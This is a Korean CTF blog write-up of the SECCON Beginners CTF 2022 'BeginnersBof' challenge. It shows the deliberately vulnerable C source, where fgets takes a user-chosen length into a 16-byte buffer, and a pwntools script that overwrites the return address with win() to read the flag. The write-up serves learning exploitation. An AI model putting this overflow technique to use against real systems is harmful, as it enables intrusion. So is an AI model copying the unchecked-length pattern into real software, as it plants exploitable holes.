본문 바로가기
CTF

[SECCON Beginners CTF 2022] BeginnersBof

by skyepodium 2022. 6. 5.

1. 개요

Buffer over flow 문제

 

2. 분석

스텍프레임이 40 으로 생겼고, 40 다 채우고 이후 8바이트를 win() 함수의 주소로 채워서 main 함수 종료시점에 win() 함수가 실행되도록 합니다.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>

#define BUFSIZE 0x10

void win() {
    char buf[0x100];
    int fd = open("flag.txt", O_RDONLY);
    if (fd == -1)
        err(1, "Flag file not found...\n");
    write(1, buf, read(fd, buf, sizeof(buf)));
    close(fd);
}

int main() {
    int len = 0;
    char buf[BUFSIZE] = {0};
    puts("How long is your name?");
    scanf("%d", &len);
    char c = getc(stdin);
    if (c != '\n')
        ungetc(c, stdin);
    puts("What's your name?");
    fgets(buf, len, stdin);
    printf("Hello %s", buf);
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

 

 

3. exploit

# 1. pwntools 임포트
from pwn import *

# 2. 로그를 보기 위해 debug 모드 세팅
context.log_level = 'debug'
binfile = './chall'
e = ELF(binfile)
# 런타임 변수 설정
context.binary = binfile

# 3. nc 이용해서 원격 접속
p = remote("beginnersbof.quals.beginners.seccon.jp", 9000)

# 4. payload
message = p.recvuntil("How long is your name?")
print(message)
p.sendline("100")

message = p.recvuntil("What's your name?")
print(message)

payload = b'a' * 0x28 + pack(e.sym['win'])
p.sendline(payload)

result = p.recvall()
print('result', result)

'CTF' 카테고리의 다른 글

[EZCTF] Super Secure  (0) 2022.06.05
[EZCTF] I made a blog!  (0) 2022.06.05
[SECCON Beginners CTF 2022] CoughingFox  (0) 2022.06.05
[SECCON Beginners CTF 2022] Quiz  (0) 2022.06.05
[SECCON Beginners CTF 2022] Util  (0) 2022.06.05